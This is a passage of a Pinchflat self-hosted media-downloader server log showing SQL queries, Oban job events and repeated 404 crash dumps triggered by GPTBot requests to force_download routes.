idle=179.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:51:21.530 [debug] QUERY OK source="tasks" db=0.0ms idle=182.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [698, 3, ~U[2026-07-24 15:51:21Z], ~U[2026-07-24 15:51:21Z]] 15:51:21.530 [info] {"args":{"id":3},"id":695,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":183285,"event":"job:stop","queue_time":582097,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:51:21.531 [debug] QUERY OK source="tasks" db=0.2ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:51:22.383 [info] GET /sources/2/media/6130/force_download 15:51:22.384 [debug] QUERY OK source="settings" db=0.1ms idle=853.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:51:22.384 [debug] QUERY OK source="settings" db=0.0ms idle=853.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:51:22.384 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:51:22.384 [error] #PID<0.10505.0> running PinchflatWeb.Endpoint (connection #PID<0.10504.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6130/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6130/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6130/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44536}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6130", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10505.0>, params: %{}, path_info: ["sources", "2", "media", "6130", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6130"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6130/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEoEAmEsP4qDQAA8GB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6130/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44536}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6130", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6130/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6130/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44536}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6130", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10505.0>, params: %{}, path_info: ["sources", "2", "media", "6130", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:51:27.085 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:57.086 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.698 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:52:22.999 [info] GET /sources/2/media/6126/force_download 15:52:23.000 [debug] QUERY OK source="settings" db=0.0ms idle=1060.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:52:23.000 [debug] QUERY OK source="settings" db=0.0ms idle=596.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:52:23.000 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:52:23.000 [error] #PID<0.10511.0> running PinchflatWeb.Endpoint (connection #PID<0.10510.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6126/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6126/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6126/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45224}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6126", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10511.0>, params: %{}, path_info: ["sources", "2", "media", "6126", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6126"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6126/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVErl0kK7OeCYgAAgTC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6126/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45224}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6126", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6126/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6126/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45224}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6126", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10511.0>, params: %{}, path_info: ["sources", "2", "media", "6126", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:52:27.087 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:57.089 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.698 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:53:27.090 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:27.600 [info] GET /sources/3/media/6485/force_download 15:53:27.600 [debug] QUERY OK source="settings" db=0.1ms idle=660.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:27.600 [debug] QUERY OK source="settings" db=0.0ms idle=660.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:27.600 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:53:27.600 [error] #PID<0.10520.0> running PinchflatWeb.Endpoint (connection #PID<0.10519.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6485/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6485/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10519.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6485/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 38832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6485", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10520.0>, params: %{}, path_info: ["sources", "3", "media", "6485", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6485"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6485/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEvWedMyhIX2wAAgWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10519.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6485/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 38832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6485", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6485/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10519.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6485/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 38832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6485", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10520.0>, params: %{}, path_info: ["sources", "3", "media", "6485", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:53:57.091 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.699 [info] {"source":"oban","duration":134,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:54:27.092 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:31.002 [info] GET /sources/2/media/6123/force_download 15:54:31.002 [debug] QUERY OK source="settings" db=0.1ms idle=465.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:54:31.002 [debug] QUERY OK source="settings" db=0.0ms idle=63.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:54:31.002 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:54:31.003 [error] #PID<0.10527.0> running PinchflatWeb.Endpoint (connection #PID<0.10526.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6123/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6123/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6123/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6123", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10527.0>, params: %{}, path_info: ["sources", "2", "media", "6123", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6123"}, {"user-agent", "Mozilla/5.0 